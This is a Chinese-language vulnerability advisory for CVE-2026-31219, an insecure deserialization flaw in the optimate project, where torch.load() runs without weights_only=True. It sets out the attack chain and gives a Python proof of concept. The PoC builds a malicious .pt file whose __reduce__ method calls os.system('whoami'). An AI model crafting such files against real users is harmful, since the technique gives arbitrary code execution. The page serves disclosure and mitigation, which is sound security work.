IPBUF安全漏洞报告
English
CVE-2026-31219 CVSS 8.8 高危

CVE-2026-31219 Optimate不安全的反序列化漏洞

披露日期: 2026-05-12

漏洞信息

漏洞编号
CVE-2026-31219
漏洞类型
不安全的反序列化
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
optimate

相关标签

RCE不安全的反序列化CWE-502PyTorchoptimate代码执行

漏洞概述

optimate项目中的neural_magic_training.py脚本存在不安全的反序列化漏洞。该脚本的_load_model()函数在使用torch.load()加载模型文件时,未设置weights_only=True安全参数。攻击者可诱导用户加载包含恶意Python对象的模型文件,从而在系统上执行任意代码。

技术细节

该漏洞发生在optimate项目的模型加载流程中。neural_magic_training.py中的_load_model()函数使用PyTorch的torch.load()方法来加载用户提供的.pt或.pth模型文件。默认情况下,torch.load()使用Python的pickle模块进行反序列化,而pickle是不安全的,允许在加载对象时执行任意代码。漏洞的根本原因在于开发者未指定weights_only=True参数,这使得攻击者能够构造包含恶意payload的模型文件。当受害者在命令行使用--model参数加载此文件时,恶意代码将被反序列化并执行,从而控制受害者系统。

攻击链分析

STEP 1
1. 构造恶意文件
攻击者创建一个包含恶意Python代码的特制模型文件(.pt或.pth),利用pickle序列化机制植入反弹Shell或系统命令。
STEP 2
2. 诱导加载
攻击者通过钓鱼、社会工程学或供应链污染等方式,诱导受害者使用optimate工具的--model参数加载该恶意文件。
STEP 3
3. 触发反序列化
当optimate执行_load_model()函数并调用torch.load()时,由于缺乏安全限制,系统会自动反序列化文件中的恶意对象。
STEP 4
4. 执行代码
反序列化过程中触发__reduce__方法,在受害者机器上以当前进程权限执行任意代码。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import os import torch # Define a malicious class that executes code upon deserialization class Exploit: def __reduce__(self): # Execute arbitrary system command (e.g., calc.exe or touch) return (os.system, ('whoami',)) # Create the malicious model file malicious_model = Exploit() # Save the malicious object using torch.save (which uses pickle) with open('malicious_model.pt', 'wb') as f: torch.save(malicious_model, f) print("Malicious model file 'malicious_model.pt' generated.") # Victim executes: python script.py --model malicious_model.pt

影响范围

optimate commit a6d302f912b481c94370811af6b11402f51d377f

防御指南

临时缓解措施
建议立即在调用torch.load()的代码中添加weights_only=True参数,仅反序列化模型张量数据,禁止加载任意Python对象,从而阻断代码执行路径。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表